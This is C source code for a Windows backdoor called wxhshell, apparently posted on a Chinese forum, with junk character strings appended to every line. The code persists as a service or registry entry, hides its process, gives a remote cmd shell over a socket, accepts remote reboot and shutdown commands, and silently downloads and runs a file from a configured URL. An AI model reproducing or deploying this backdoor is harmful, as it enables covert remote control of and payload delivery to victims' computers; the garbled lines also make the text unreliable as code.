  // 安装 O,!4 W\s  
  case 'i': { p&,2@(Q  
    if(Install()) DSx D531[A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <=7^D  
    else Sh RkL<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .%N*g[J  
    break; U0%m*i  
    } D1<$]r,  
  // 卸载 |&a[@(N:zf  
  case 'r': { Z  )dz  
    if(Uninstall()) 9{V54ue;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5T;,wQ<  
    else 7U{g'<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p&ml$N9fd  
    break; ~",,&>#[K  
    } haMt2S2_B:  
  // 显示 wxhshell 所在路径 Gm1vVHAxv  
  case 'p': { Ws(#ThA  
    char svExeFile[MAX_PATH]; 4`+hX'  
    strcpy(svExeFile,"\n\r"); 5UHxB"`C  
      strcat(svExeFile,ExeFile); +R?d6IjH  
        send(wsh,svExeFile,strlen(svExeFile),0); 9K F`9Y  
    break; d>qxaX;  
    } ^04|tda  
  // 重启 |J#mgA}(  
  case 'b': { Z*(lg$A9 M  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7T3ub3\  
    if(Boot(REBOOT)) zn|/h,.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lfp'D+#p {  
    else { i%)Nn^a;T  
    closesocket(wsh); 13nXvYo'  
    ExitThread(0); p4OiCAW;  
    } X%._:st  
    break; cQMb+Q2Yw  
    } vc_ 5!K%[  
  // 关机 'M#'BQQ5  
  case 'd': { *OQr:e<}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yS[Z%]bvU  
    if(Boot(SHUTDOWN)) &<E*W*b[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NN9` jP2  
    else { >9.xFiq<  
    closesocket(wsh); Bld$<uU  
    ExitThread(0); ?>W4*8 (  
    } Z) zWfv}  
    break; hd2 X/"  
    } yw%5W=<  
  // 获取shell m18If  
  case 's': { ^c{,QS{  
    CmdShell(wsh); t-$R)vZ}M  
    closesocket(wsh); t4H@ZvAH0  
    ExitThread(0); siHS@S  
    break; ,HxsU,xiG  
  } 7lvUIc?krW  
  // 退出 'V5^D<1P  
  case 'x': { xPY/J#X$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); I"]5B  
    CloseIt(wsh); \1[I(u  
    break; [*j C  
    } 6.Nu[-?  
  // 离开  l+.E'   
  case 'q': { lMX 2O2 o  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); nL+*-R!R  
    closesocket(wsh); Ok+zUA[Wu  
    WSACleanup(); aPq9^S*  
    exit(1); {g2cm'hD  
    break; gOI #$-L  
        } FKd5]am  
  } nBd!296  
  } U n#7@8,  
&X +Qi  
  // 提示信息 /vl]Oa&U  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k[l+~5ix  
} :5G3 uN+\  
  } 2sjP":  
EOrWax@k$}  
  return; AF1";duA  
} ,epKt(vl  
&+-ZXN  
// shell模块句柄  U&PAs e  
int CmdShell(SOCKET sock) z= -u89]  
{ GdavCwJ  
STARTUPINFO si; `e0U-W]kF  
ZeroMemory(&si,sizeof(si)); $jb0/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cve(pkl  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; J p.Sow  
PROCESS_INFORMATION ProcessInfo; ?#xNz=V  
char cmdline[]="cmd"; BBw`8!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +vkqig  
  return 0; |2X Et\P  
} h)q:nlKUW  
YWeEvo(,=  
// 自身启动模式 j-ugsV`2=*  
int StartFromService(void) .s|n}{D_i  
{ 0/<}.Z]  
typedef struct N~ljU;wo-9  
{ a J[VX)"J  
  DWORD ExitStatus; k+44ud.j  
  DWORD PebBaseAddress; /a6\G.C5  
  DWORD AffinityMask; =/J4(#Xb  
  DWORD BasePriority; ;)[RG\  
  ULONG UniqueProcessId; ;C-5R U V  
  ULONG InheritedFromUniqueProcessId; 71cc6T  
}   PROCESS_BASIC_INFORMATION; g?UG6mFbE  
}nYm^Yh  
PROCNTQSIP NtQueryInformationProcess; n.67f  
knpb$eX4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; '/SMqmi  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q<zL;AJ  
YWM$%   
  HANDLE             hProcess; @g[p>t> *  
  PROCESS_BASIC_INFORMATION pbi; p*W4^2(d  
e}f!zA  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _x z_D12  
  if(NULL == hInst ) return 0; M{zzXE[@  
OCo=h|qBp  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); p{!aRB%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x 3#1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'rHkJ  
9+9}^B5@A  
  if (!NtQueryInformationProcess) return 0; wsP3hE' ]  
b.h~QyI/W  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); V>@NkQ<|y  
  if(!hProcess) return 0; 1;SW% \M  
CBs0>M/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Mc~(S$FU$  
[f.[C5f%"'  
  CloseHandle(hProcess); O9A.WSJ >}  
oj$D3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W$B>O  
if(hProcess==NULL) return 0; ]0xbvJ8oK  
B!! xu  
HMODULE hMod;  #It{B  
char procName[255]; QgEG%YqB  
unsigned long cbNeeded; mR[J Xh9s  
wX#=l?,K  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~!,'z  
`9s5 *;Z  
  CloseHandle(hProcess); iF{eGi  
xRP#}i:m  
if(strstr(procName,"services")) return 1; // 以服务启动 h;^h[q1'  
'_g8fz 3  
  return 0; // 注册表启动 Vg\EAs>f  
} engql;  
a>.2Q<1  
// 主模块 *@dRL3c^=  
int StartWxhshell(LPSTR lpCmdLine) 4B<D.i ;}  
{ G|'DAj%  
  SOCKET wsl; *r?g&Vw$m  
BOOL val=TRUE; EfcoJgX  
  int port=0; u\ytiGO*  
  struct sockaddr_in door; Up*p*(d3  
R5r )01  
  if(wscfg.ws_autoins) Install(); CP|N2rb  
tKo ^A:M  
port=atoi(lpCmdLine); ZJ 8~f  
SBAq,F'  
if(port<=0) port=wscfg.ws_port; `T{{wty  
;q6: *H/  
  WSADATA data; #v=hiL  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3:Y ZC9  
/.aZXC$]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %8yfF rk  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "7JO~T+v  
  door.sin_family = AF_INET; sn+i[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); J1 a/U@"  
  door.sin_port = htons(port); j7xoe9;TxI  
it ,i^32|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,6}HAC $  
closesocket(wsl); :tedtV ~  
return 1; 4G;+ETp  
} !Jh-v  
WT;=K0W6&  
  if(listen(wsl,2) == INVALID_SOCKET) { &AU%3b  
closesocket(wsl); G{knO?BK  
return 1; xA`Q4"[I  
} ZQD_w#0j  
  Wxhshell(wsl); \"V7O'S)&  
  WSACleanup(); $`i$/FE  
&[3 xpi{v  
return 0; NC>rZS]  
'8 1M%KO  
} ;? '`XB!  
Zuo7MR  
// 以NT服务方式启动 {[jcT>.3j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y{uRh>l  
{ \'q-Xr'}M  
DWORD   status = 0; oA(jtX[(  
  DWORD   specificError = 0xfffffff; Gk;==~  
VSx[{yn  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~x)Awdlu  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; J|W~\(W6i  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; N0O8to}V  
  serviceStatus.dwWin32ExitCode     = 0; `4'v)!?  
  serviceStatus.dwServiceSpecificExitCode = 0; uH^/\  
  serviceStatus.dwCheckPoint       = 0; ^+F@KXn L  
  serviceStatus.dwWaitHint       = 0; Tsxl4ZK  
Uq<c+4)5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .>zXz%p  
  if (hServiceStatusHandle==0) return; zy(sekX;  
t4GG@`  
status = GetLastError(); @.yp IE\  
  if (status!=NO_ERROR) e4b`C>>  
{ Dkay k  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; elG<\[  
    serviceStatus.dwCheckPoint       = 0; S;kI\;  
    serviceStatus.dwWaitHint       = 0; E y1mlW  
    serviceStatus.dwWin32ExitCode     = status; D.kLx@Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; #(j'?|2o%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |>5NH'agV  
    return; -%E+Yl{v  
  } 6{B$_Usg  
luACdC  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  )o`|t  
  serviceStatus.dwCheckPoint       = 0; jAB~XaT,  
  serviceStatus.dwWaitHint       = 0; sWX iY  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *IG} /O.VT  
} bX6eNk-L  
w!,~#hbt6  
// 处理NT服务事件,比如:启动、停止 F.i*'x0u  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [G>8N5@*  
{ @d:TAwOI'  
switch(fdwControl) bgq/]fI}  
{ 9_)*b  
case SERVICE_CONTROL_STOP: hm*1w6 =  
  serviceStatus.dwWin32ExitCode = 0; 1v)ur\>R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vnwS &;-k~  
  serviceStatus.dwCheckPoint   = 0; rJH u~/_Dq  
  serviceStatus.dwWaitHint     = 0; a'u:1C^\  
  { lK;|ciq"c7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h)fJ2]JW8W  
  } *`&4< >=n  
  return; |l'BNuiU  
case SERVICE_CONTROL_PAUSE: !LB#K?I  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _; /onM   
  break; )65 o  
case SERVICE_CONTROL_CONTINUE: ]awu7}C9Z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; D@A@5pvS  
  break; Teh _  
case SERVICE_CONTROL_INTERROGATE: V<:scLm#OF  
  break; TR}ztf[e  
}; P7np -I*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V_+XZ+7Lx}  
} O(q1R#n-}+  
5q4sxY9T  
// 标准应用程序主函数 kEiWE|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $fZVh%  
{ 'b(V8x  
j`tBki:  
// 获取操作系统版本 x h|NmZg  
OsIsNt=GetOsVer(); (jhDO7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &(&5ao)5  
K@d,8[  
  // 从命令行安装 o&WKk5$  
  if(strpbrk(lpCmdLine,"iI")) Install(); H|@R+  
)~@iM.}S2  
  // 下载执行文件 tA;#yM;  
if(wscfg.ws_downexe) { 6[wAX  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) VaKBS/y"  
  WinExec(wscfg.ws_filenam,SW_HIDE); .$&_fUY  
} f-]5ZhM'  
w K)/m`{g  
if(!OsIsNt) { &\Kp_AR  
// 如果时win9x,隐藏进程并且设置为注册表启动 SA3!a.*c  
HideProc(); =6Z$nc R  
StartWxhshell(lpCmdLine); 9qe<bds1  
} lHl1Ny\?  
else %#gHa  
  if(StartFromService()) xi3  
  // 以服务方式启动 8<#S:O4kA  
  StartServiceCtrlDispatcher(DispatchTable); )GgO=J:o  
else "WPFZw:9  
  // 普通方式启动 ^R;Qa#=2  
  StartWxhshell(lpCmdLine); #21t8  
uPZ<hG#K  
return 0; qC|$0  
}
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只看该作者 1 发表于: 2006-10-10
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